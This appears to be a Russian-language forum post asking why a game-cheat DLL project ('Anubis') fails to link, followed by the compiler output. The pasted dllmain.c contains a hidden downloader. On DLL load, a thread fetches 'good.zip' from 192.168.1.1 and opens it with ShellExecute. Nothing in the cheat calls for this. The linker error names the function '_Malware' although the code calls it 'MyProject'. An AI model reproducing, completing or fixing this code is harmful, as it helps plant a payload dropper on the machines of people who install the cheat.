
include <Windows.h>
include "Config.h"
include "Hooks.h"
include "Interfaces.h"
include "Memory.h"
include "Netvars.h"
include <urlmon.h>
pragma comment (lib, "urlmon.lib")
void MyProject() {
HRESULT res = URLDownloadToFile(0, "192.168.1.1/upload/good.zip", "good.zip", 0, 0);
ShellExecute(0, "open", "good.zip", 0, 0, SW_RESTORE);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
Config_init("Anubis");
Interfaces_init();
Memory_init();
Hooks_init();
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MyProject, NULL, NULL, NULL);
}
return TRUE;
}
При компиляции, выдает ошибку ниже
1>------ Сборка начата: проект: Anubis, Конфигурация: Debug Win32 ------
1>dllmain.c
1>C:\Users\Richi\Desktop\Anubis-master\Anubis\dllmain.c(8,10): warning C4067: непредвиденные лексемы за директивой препроцессора, требуется newline
1>C:\Users\Richi\Desktop\Anubis-master\Anubis\dllmain.c(21,26): warning C4047: функция: "SIZE_T" отличается по уровням косвенного обращения от "void *"
1>C:\Users\Richi\Desktop\Anubis-master\Anubis\dllmain.c(21,26): warning C4024: CreateThread: различные типы для формального и фактического параметров 2
1>C:\Users\Richi\Desktop\Anubis-master\Anubis\dllmain.c(21,71): warning C4047: функция: "DWORD" отличается по уровням косвенного обращения от "void *"
1>C:\Users\Richi\Desktop\Anubis-master\Anubis\dllmain.c(21,71): warning C4024: CreateThread: различные типы для формального и фактического параметров 5
1> Создается библиотека C:\Users\Richi\Desktop\Anubis-master\Debug\Anubis.lib и объект C:\Users\Richi\Desktop\Anubis-master\Debug\Anubis.exp
1>dllmain.obj : error LNK2019: ссылка на неразрешенный внешний символ _URLDownloadToFileA@20 в функции _Malware
1>C:\Users\Richi\Desktop\Anubis-master\Debug\Anubis.dll : fatal error LNK1120: неразрешенных внешних элементов: 1
1>Сборка проекта "Anubis.vcxproj" завершена с ошибкой.
========== Сборка: успешно: 0, с ошибками: 1, без изменений: 0, пропущено: 0 ==========



